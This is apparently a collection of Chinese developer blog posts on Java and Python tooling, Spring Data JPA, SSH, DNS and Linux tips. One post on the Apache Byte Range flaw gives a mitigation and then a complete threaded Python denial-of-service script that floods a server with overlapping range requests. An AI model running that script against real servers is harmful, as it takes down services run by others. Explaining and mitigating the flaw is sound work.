#
我不想列“精通xxx...熟悉xxx”,只要求,如果您:
有2年或以上java实际开发经验 或
1年以上java实际开发经验但技术能力较强
就能直接联系我:
1. 直接在此帖留言
2. Email:stone2083@yahoo.cn
3. MSN:stone2083@yahoo.cn
im沟通我们可以谈简历的事情,走内部推荐,1.电面2.来杭面试,流程简单,全程报销路费;
P.S. 年初,各大公司招聘旺季,阿里巴巴这里呢,我不想说有多好,但也绝对不算差,最实际的,薪酬待遇,各大公司基本保密,但其实业内人士大多心里也有数,秘而不
宣;所以,待遇方面不用过多担心,请诸君仔细斟酌,欢迎联系!
P.S.II 为什么我这招聘帖这么简单呢?其实你懂的,“精通xxx熟悉xxx”那只是吓唬小菜的,对“高级java开发工程师”而言没有意义,我们需要的只是充分沟通、im沟通+当面沟通。在这个有点糟糕的时代,我们人人都不仅需要money,也需要平台与机遇,更需要个人修为与成长!请给阿里和您自己一个机会,谢谢!
请管理员手下留情,如果非要删除,请先联系我下。让我能拷贝下这些文字先!谢谢
一直在网上听说web.py性能比较差,TPS才几十个。这个道听途说让我一度放弃了web.py。
对比了一圈python web framework后,还是让我对web.py的simple和它的设计理念念念不忘。
机器介绍
机型:ThinkPad R400 笔记本
CPU:Intel(R) Core(TM)2 Duo CPU P8700 @ 2.53GHz
Mem: 2G
系统:Ubuntu11.04 32位操作系统
备注:服务器上没有python环境,所以只拿个人电脑做测试。
测试内容
输出当前时间信息
1. <%= new Date() %>
2. time.ctime()
对比测试数据
服务器 |
并发数量 |
TPS |
平均响应时间 |
Tomcat6 + JDK6 |
50 |
6519.29 |
7.67MS |
CherryPy + Webpy |
25 |
1328.56 |
18.82MS |
CherryPy + Webpy |
30 |
Fail |
Fail |
Lighttpd + Flup(FCGI) + Webpy |
25 |
1535.98 |
16.28MS |
Lighttpd + Flup(FCGI) + Webpy |
50 |
1546.11 |
32.339MS |
测试感受
1. webpy自带的CherryPy服务器性能也比传说的强多了,只是难以支撑高并发的请求。也难怪,本来就是一个用于开发的服务器,也不能要求太多;
2. Flup(FCGI)下,TPS达到1500左右,完全能够支撑一般应用的运营要求了;
3. 在专业服务器下,webpy fcgi tps自信能达到4-5k左右。足够了;
4. 和Java相比,确实存在一定差距,但是在开发效率上,远远快于Java;
5. web.py成为我日后web开发首选;
6. 凡事不要道听途说,需要眼见为实。
附上测试报告图片:
背景
http://lwn.net/Articles/456268/
Http协议之Byte Rangehttp://www.ietf.org/rfc/rfc2616.txt (14.35章节)
14.35 Range ....................................................138
14.35.1 Byte Ranges ...........................................138
14.35.2 Range Retrieval Requests ..............................139
Apache演示
1. 新建内容为abcdefghijk的txt页面
2. 不带Byte Range Header的请求,请看:
3.带Byte Range Header的请求,请看:
理论上,一旦带上N个Range分片,Apache单次请求压力就是之前的N倍(实际少于N),需要做大量的运算和字符串处理。故构建无穷的分片,单机DOS攻击,就能搞垮Apache Server。
解决方案
1. 等待Apache修复,不过Byte Range是规范要求的,不能算是真正意义上的BUG,不知道会如何修复这个问题
2. 对于不是下载站点来说,建议禁用Byte Range,具体做法:
2.1 安装mod_headers模块
2.2 配置文件加上: RequestHeader unset Range
最后附上一个攻击脚本,做演示
1 # encoding:utf8
2 #!/usr/bin/env python
3 import socket
4 import threading
5 import sys
6
7 headers = '''
8 HEAD / HTTP/1.1
9 Host: %s
10 Range: bytes=%s
11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
12
13 '''
14
15 #fragment count and loop count
16 COUNT = 1500
17 #concurrent count
18 PARALLEL = 50
19 PORT = 80
20
21 def req(server):
22 try:
23 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
24 s.connect((server, PORT))
25 s.send(headers % (server, fragment(COUNT)))
26 s.close()
27 except:
28 print 'Server Seems Weak. Please Stop.'
29
30 def fragment(n):
31 ret = ''
32 for i in xrange(n):
33 if i == 0:
34 ret = ret + '0-' + str(i + 1)
35 else:
36 ret = ret + ',0-' + str(i + 1)
37 return ret
38
39 def run(server):
40 for _ in xrange(COUNT):
41 req(server)
42
43 if len(sys.argv) != 2:
44 print 'killer.py $server'
45 sys.exit(0)
46
47 #run
48 srv = sys.argv[1]
49 for _ in xrange(PARALLEL):
50 threading.Thread(target=run, args=(srv,)).start()
51
羡慕Windows下secureCRT的Session Copy功能,一直在寻找Linux下类似的软件,殊不知SSH本身就支持此功能。
特别感谢
阿干同学的邮件分享。
详细方法Linux/mac下,在$HOME/.ssh/config中加入
Host *
ControlMaster auto
ControlPath /tmp/ssh-%r@%h
至此只要第一次SSH登录输入密码,之后同个Hosts则免登。
配置文件分析man ssh_config 5
ControlPath
Specify the path to the control socket used for connection sharing as described in the ControlMaster section
above or the string “none” to disable connection sharing. In the path, ‘%l’ will be substituted by the
local host name, ‘%h’ will be substituted by the target host name, ‘%p’ the port, and ‘%r’ by the remote
login username. It is recommended that any ControlPath used for opportunistic connection sharing include at
least %h, %p, and %r. This ensures that shared connections are uniquely identified.
%r 为远程机器的登录名
%h 为远程机器名
原理分析严格地讲,它并不是真正意义上的Session Copy,而只能说是共享Socket。
第一次登录的时候,将Socket以文件的形式保存到:/tmp/ssh-%r@%h这个路径
之后登录的时候,一旦发现是同个主机,则复用这个Socket
故,一旦主进程强制退出(Ctrl+C),则其他SSH则被迫退出。
可以通过ssh -v参数,看debug信息验证以上过程
备注
有同学说在linux上通过证书的形式,可以实现免登录,没错。
对于静态密码,完全可以这么干;对于动态密码(口令的方式),则上述手段可以方便很多。
背景
接上文:
Spring Data JPA 简单介绍
本文将从配置解析,Bean的创建,Repository执行三个方面来简单介绍下Spring Data JPA的代码实现
友情提醒:
图片均可放大
配置解析
1. parser类
|
Spring通过Schema的方式进行配置,通过AbstractRepositoryConfigDefinitionParser进行解析。其中包含对NamedQuery的解析。
解析的主要目的,是将配置文件中的repositories和repository元素信息分别解析成GlobalRepositoryConfigInformation和SingleRepositoryConfigInformation。
详见下图 |
2. Information
|
CommonRepositoryConfigInformation:
xml中repositories的通用配置,一般对应其中的attributes
SingleRepositoryConfigInformation:
xml中repository的配置信息,对应其中的attributes
GlobalRepositoryCOnfigInformation:
一组SingleRepositoryConfigInfomation信息,包含所有的Single信息
在JPA实现中,针对Single,有两份实现,一份是自动配置信息,一份是手动配置信息,分别对应图中的Automatic和Manual。
SimpleJpaRepositoryConfiguration是JPA中的所有配置信息,包含所有的Jpa中的SingleRepositoryConfigInformation。 |
3. Query Lookup Strategy
| CreateQueryLookupStrategy:对应repositories元素query-lookup-strategy的create值,主要针对method query方式 DeclaredQueryLookupStrategy:对应use-declared-query值,主要针对带有@Query注解的查询方式 CreateIfNotFoundQueryLookupStrategy:对应create-if-not-found值(default值),结合了上述两种方式 |
Bean的创建
|
主要包含两个类
RepositoryFactoryBeanSupport, Spring Factory Bean,用于创建Reposiory代理类。其本身并不真正做代理的事情,只是接受Spring的配置,具体交由RepositoryFactorySupport进行代理工作
RepositoryFactorySupport, 真正做Repository代理工作,根据JpaRepositoryFactoryBean的定义找到TargetClass:SimpleJpaRepository实现类,中间加入3个拦截器,一个是异常翻译,一个是事务管理,最后一个是QueryExecutorMethodInterceptor。
QueryExecutorMethodInterceptor是个重点,主要做特定的Query(查询语句)的操作。 |
Repository执行
1. 主要执行类
|
在看上面Bean定义的时候,其实已经明白了执行过程: 1. 将JPA CRUD规范相关的方法交给SimpleJpaRepository这个类执行 2. 将特殊查询相关的交给QueryExecutorMethodInterceptor执行。主要做自定义实现的部分,method query部分和named query部分。 具体查询类详见下图。 |
2. 查询相关
| 主要支持NamedQuery和JPA Query。 |
主要执行代码
QueryExecutorMethodInterceptor#invoke(MethodInvocation invocation)
1 public Object invoke(MethodInvocation invocation) throws Throwable {
2
3 Method method = invocation.getMethod();
4
5 if (isCustomMethodInvocation(invocation)) {
6 Method actualMethod = repositoryInformation.getTargetClassMethod(method);
7 makeAccessible(actualMethod);
8 return executeMethodOn(customImplementation, actualMethod,
9 invocation.getArguments());
10 }
11
12 if (hasQueryFor(method)) {
13 return queries.get(method).execute(invocation.getArguments());
14 }
15
16 // Lookup actual method as it might be redeclared in the interface
17 // and we have to use the repository instance nevertheless
18 Method actualMethod = repositoryInformation.getTargetClassMethod(method);
19 return executeMethodOn(target, actualMethod,
20 invocation.getArguments());
21 }
主要分3个步骤:
1. 如果配置文件中执行了接口类的实现类,则直接交给实现类处理
2. 判断是查询方法的,交给RepositoryQuery实现,具体又分:NamedQuery,SimpleJpaQuery,PartTreeJpaQuery
3. 不属于上述两个,则直接将其交给真正的targetClass执行,在JPA中,就交给SimpleJpaRepository执行。
本文并没有做详细的分析,只是将核心的组件类一一点到,方便大家自行深入了解代码。
背景考虑到公司应用中数据库访问的多样性和复杂性,目前正在开发UDSL(统一数据访问层),开发到一半的时候,偶遇
SpringData工程。发现两者的思路惊人的一致。
于是就花了点时间了解SpringData,可能UDSL II期会基于SpringData做扩展
SpringData相关资料介绍:针对关系型数据库,KV数据库,Document数据库,Graph数据库,Map-Reduce等一些主流数据库,采用统一技术进行访问,并且尽可能简化访问手段。
目前已支持的数据库有(主要):
MongoDB,Neo4j,Redis,Hadoop,JPA等
SpringData官方资料(强烈推荐,文档非常详细)
SpringData主页:
http://www.springsource.org/spring-dataSpringDataJPA 指南文档:
http://static.springsource.org/spring-data/data-jpa/docs/current/reference/html/ (非常详细)
SpringDataJPA Examples: https://github.com/SpringSource/spring-data-jpa-examples (非常详细的例子)
Spring-Data-Jpa简介Spring Data Jpa 极大简化了数据库访问层代码,只要3步,就能搞定一切
1. 编写Entity类,依照JPA规范,定义实体
2. 编写Repository接口,依靠SpringData规范,定义数据访问接口(注意,只要接口,不需要任何实现)
3. 写一小陀配置文件 (Spring Scheme配置方式极大地简化了配置方式)
下面,我依赖Example中的例子,简单地介绍下以上几个步骤
User.java
User.java
1 /**
2 * User Entity Sample
3 *
4 * @author <a href="mailto:li.jinl@alibaba-inc.com">Stone.J</a> Aug 25, 2011
5 */
6 @Entity
7 public class User extends AbstractPersistable<Long> {
8
9 private static final long serialVersionUID = -2952735933715107252L;
10
11 @Column(unique = true)
12 private String username;
13 private String firstname;
14 private String lastname;
15
16 public String getUsername() {
17 return username;
18 }
19
20 public void setUsername(String username) {
21 this.username = username;
22 }
23
24 public String getFirstname() {
25 return firstname;
26 }
27
28 public void setFirstname(String firstname) {
29 this.firstname = firstname;
30 }
31
32 public String getLastname() {
33 return lastname;
34 }
35
36 public void setLastname(String lastname) {
37 this.lastname = lastname;
38 }
39 没什么技术,JPA规范要求怎么写,它就怎么写
Repository.java
SimpleUserRepository.java
1 /**
2 * User Repository Interface.
3 *
4 * @author <a href="mailto:li.jinl@alibaba-inc.com">Stone.J</a> Aug 25, 2011
5 */
6 public interface SimpleUserRepository extends CrudRepository<User, Long>, JpaSpecificationExecutor<User> {
7
8 public User findByTheUsersName(String username);
9
10 public List<User> findByLastname(String lastname);
11
12 @Query("select u from User u where u.firstname = ?")
13 public List<User> findByFirstname(String firstname);
14
15 @Query("select u from User u where u.firstname = :name or u.lastname = :name")
16 public List<User> findByFirstnameOrLastname(@Param("name") String name);
17
18 需要关注它继承的接口,我简单介绍几个核心接口
Repository: 仅仅是一个标识,表明任何继承它的均为仓库接口类,方便Spring自动扫描识别
CrudRepository: 继承Repository,实现了一组CRUD相关的方法
PagingAndSortingRepository: 继承CrudRepository,实现了一组分页排序相关的方法
JpaRepository: 继承PagingAndSortingRepository,实现一组JPA规范相关的方法
JpaSpecificationExecutor: 比较特殊,不属于Repository体系,实现一组JPA Criteria查询相关的方法
不需要写任何实现类,Spring Data Jpa框架帮你搞定这一切。
Spring Configuration
Configuration.xml
1 <beans>
2 <bean id="entityManagerFactory" class="org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean">
3 <property name="dataSource" ref="dataSource" />
4 <property name="jpaVendorAdapter">
5 <bean class="org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter">
6 <property name="generateDdl" value="true" />
7 <property name="database" value="HSQL" />
8 </bean>
9 </property>
10 <property name="persistenceUnitName" value="jpa.sample" />
11 </bean>
12
13 <bean id="transactionManager" class="org.springframework.orm.jpa.JpaTransactionManager">
14 <property name="entityManagerFactory" ref="entityManagerFactory" />
15 </bean>
16
17 <jdbc:embedded-database id="dataSource" type="HSQL" />
18
19
20 <jpa:repositories base-package="org.springframework.data.jpa.example.repository.simple" />
21 </beans> 核心代码只要配置一行:<jpa:repositories base-package="org.springframework.data.jpa.example.repository.simple" />即可。上面的仅仅是数据源,事务的配置而已。
至此,大功告成,即可运行
Sample.java
1 /**
2 * Intergration test showing the basic usage of {@link SimpleUserRepository}.
3 *
4 * @author <a href="mailto:li.jinl@alibaba-inc.com">Stone.J</a> Aug 25, 2011
5 */
6 @RunWith(SpringJUnit4ClassRunner.class)
7 @ContextConfiguration(locations = "classpath:simple-repository-context.xml")
8 @Transactional
9 public class SimpleUserRepositorySample {
10
11 @Autowired
12 SimpleUserRepository repository;
13 User user;
14
15 @Before
16 public void setUp() {
17 user = new User();
18 user.setUsername("foobar");
19 user.setFirstname("firstname");
20 user.setLastname("lastname");
21 }
22
23 // crud方法测试
24 @Test
25 public void testCrud() {
26 user = repository.save(user);
27 assertEquals(user, repository.findOne(user.getId()));
28 }
29
30 // method query测试
31 @Test
32 public void testMethodQuery() throws Exception {
33 user = repository.save(user);
34 List<User> users = repository.findByLastname("lastname");
35 assertNotNull(users);
36 assertTrue(users.contains(user));
37 }
38
39 // named query测试
40 @Test
41 public void testNamedQuery() throws Exception {
42 user = repository.save(user);
43 List<User> users = repository.findByFirstnameOrLastname("lastname");
44 assertTrue(users.contains(user));
45 }
46
47 // criteria query测试
48 @Test
49 public void testCriteriaQuery() throws Exception {
50 user = repository.save(user);
51 List<User> users = repository.findAll(new Specification<User>() {
52
53 @Override
54 public Predicate toPredicate(Root<User> root, CriteriaQuery<?> query, CriteriaBuilder cb) {
55 return cb.equal(root.get("lastname"), "lastname");
56 }
57 });
58 assertTrue(users.contains(user));
59 }
60 其中,写操作相对比较简单,我不做详细介绍,针对读操作,我稍微描述下:
Method Query: 方法级别的查询,针对
findBy
, find
, readBy
, read
, getBy等前缀的方法,解析方法字符串,生成查询语句,其中支持的关键词有:
Named Query: 针对一些复杂的SQL,支持原生SQL方式,进行查询,保证性能
Criteria Query: 支持JPA标准中的Criteria Query
备注:
本文只是简单介绍SpringDataJpa功能,要深入了解的同学,建议直接传送到
官方网站
背景接上文:
http://www.blogjava.net/stone2083/archive/2011/05/23/350875.html
随笔摘自6月13日邮件分享
目前此软件在公司测试环境上运行良好,故分享给大家。
以下为分享内容:
好处:
1. 一个项目、小需求,需要绑定的Hosts,只需要一份Hosts信息即可。不必每个用户自行管理各自电脑的Hosts。达到一人配置,多人使用的目的
2. 绑定的Hosts,支持通配符。方便类似旺铺域名的需求,只需要配置一个带通配符的域名即可
3. 要在不同项目,小需求切换不同的Hosts时,只需要轻轻一点,方便
4. 要想使用代理服务器,只需要本地DNS设置一下即可,方便
5. 本机Hosts配置优先
如何使用:(以10.20.131.207环境介绍)备注:公司内部环境,外部无法访问,如果需要,请自行搭建
1. 登陆DNS后台管理页面URL:http://10.20.131.207:8000/,点击Add
2. 添加一个项目的Hosts信息,点击添加
3. 在Hosts信息页面,点击assign,绑定自己电脑IP和某个Hosts的关联
4. IP List页面上,显示了不同IP和Hosts关联的信息
5. 将本机电脑的DNS服务器设置成DNS代理服务器即可(10.20.131.207)-- 只需要一次操作即可,以后一直能用
左图为windows配置,右图为linux配置
此时,你访问域名,如果在2011tp hosts中,则直接返回Hosts中的IP;反之,则返回真实IP。
如何启动服务
1. 启动DNS代理服务器服务
1.1 cd dns/dns
1.2 vi settings.py 修改配置信息
1.3 python -u main.py
2. 启动DNS BackOffice服务
2.1 cd dns/config
2.2 vi settings.py 修改配置信息
2.3 python -u manage.py runserver
软件下载:DNS Proxy Server
============================================================================================
为了满足“邪恶”的人们能更方便的使用这个软件(貌似邪恶的人特别看重这个软件通配符的功能,具体邪恶在哪里,我不具体描述了,给个链接),我特意写了一个standalone的版本:
1. 去除无用的backoffice功能
2. 去除通过事件机制reload hosts文件的功能
3. 去除复杂的settings配置文件,改用简单的命令行方式
4. 特意为windows用户制作了一个exe文件,可以直接使用
linux用户使用方案:
python standalone.py -s xxx.xxx.xxx.xxx (上级dns地址)
python standalone.py -s xxx.xxx.xxx.xxx -f /etc/hosts2 (指定hosts文件,默认是/etc/hosts)
windows用户使用方案,进入dist(exe发布目录)
dns.exe -s xxx.xxx.xxx.xxx (上级dns地址)
dns.exe -s xxx.xxx.xxx.xxx -f d:/hosts (指定hosts文件,默认是c:/windows/system32/drivers/etc/hosts)
对于不放心使用exe的客户来说,可以进入dns目录,通过py2exe工具自行发布成exe软件,方法如下
python setup.py py2exe
standalone版本下载
Python shell下操作mysql一直使用MySqldb。
其默认的Cursor Class是使用tuple(元组)作为数据存储对象的,操作非常不便
1 p = cursor.fetchone()
2 print(p[0], p[1])
如果有十几个字段,光是数数位数,就把我数晕了。
当然,MySqldb Cursor Class本身就提供了扩展,我们可以切换成DictCurosor作为默认数据存储对象,如
MySQLdb.connect(host='127.0.0.1', user='sample', passwd='123456', db='sample', cursorclass=DictCursor, charset='utf8')
#
p = cursor.fetchone()
print(p['id'], p['name'])
字典的方式优于元祖。
但是,"[]"这个符号写写比较麻烦,并且我编码风格带有强烈的Java习惯,一直喜欢类似"p.id","p.name"的写法。
于是,扩展之
1. 扩展Dict类,使其支持"."方式:
1 class Dict(dict):
2
3 def __getattr__(self, key):
4 return self[key]
5
6 def __setattr__(self, key, value):
7 self[key] = value
8
9 def __delattr__(self, key):
10 del self[key]
2. 扩展Curosor,使其取得的数据使用Dict类:
1 class Cursor(CursorStoreResultMixIn, BaseCursor):
2
3 _fetch_type = 1
4
5 def fetchone(self):
6 return Dict(CursorStoreResultMixIn.fetchone(self))
7
8 def fetchmany(self, size=None):
9 return (Dict(r) for r in CursorStoreResultMixIn.fetchmany(self, size))
10
11 def fetchall(self):
12 return (Dict(r) for r in CursorStoreResultMixIn.fetchall(self))
这下,就符合我的习惯了:
1 MySQLdb.connect(host='127.0.0.1', user='sample', passwd='123456', db='sample', cursorclass=Cursor, charset='utf8')
2 #
3 p = cursor.fetchone()
4 print(p.id, p.name)
悲哀,今天下午不知道执行了什么命令,居然删除了linux kernel。
晚上重启机子后,无法进入系统,一直停留在
memtest界面。
一开始,以为grub损坏,只好通过Live CD/
USB Stick 的方式,进入系统。
1. 进入
Ubuntu Download页面,下载ISO文件
2. 通过
Universal USB Installer,创建USB启动文件
详细说明请点击Ubuntu Download页面中“
Burn your CD or create a USB drive”
进入Live CD后,发现grub完好,但是查看/boot/下,发现linux kernel文件不见了,估计下午执行什么命令,给不小心删除了。
只能通过chroot方式,重装linux kernel
1.chroot -- 利用root帐号操作
#mkdir /uroot #创建临时文件,作为新的root文件
#mount /dev/sda1 /uroot #将硬盘挂载到新的root文件上,sda是之前装有ubuntu的硬盘
#mount --bind /proc /uroot/proc #将当前进程文件绑定到uroot下的proc
#mount --bind /dev /uroot/dev #将设备文件绑定到uroot下的dev
#chroot
2.配置uroot下的网络 -- 家中是利用ADSL上网
# pppoeconf #配置ADSL帐号和密码
# pon dsl-provider #启动帐号,上网
3.安转linux kernel
# apt-get install
linux-image-2.6.32-32-generic
重启系统,恢复正常。
一直习惯于Linux命令,唯独对svn diff耿耿于怀,其结果真不是人能看懂的 :)
感谢
khotyn的分享文档,提醒我可以使用vimdiff作为svn diff的默认工具,步骤如下:
1.编写svndiff脚本
1 #!/bin/sh
2 #去掉前5个参数
3 shift 5
4 #使用vimdiff比较
5 vimdiff -f "$@"
2.修改svn默认配置,vi ~/.subversion/config
1 #设置diff-cmd为svndiff脚本地址
2 diff-cmd = svndiff
3.使用svn diff命令,效果如下
备注:
1. svn diff --diff-cmd 中的7个回调函数参数分别是:
1 -u
2 -L
3 pom.xml (revision 351676)
4 -L
5 pom.xml (working copy)
6 .svn/tmp/tempfile.tmp
7 pom.xml
2. vimdiff非常强悍的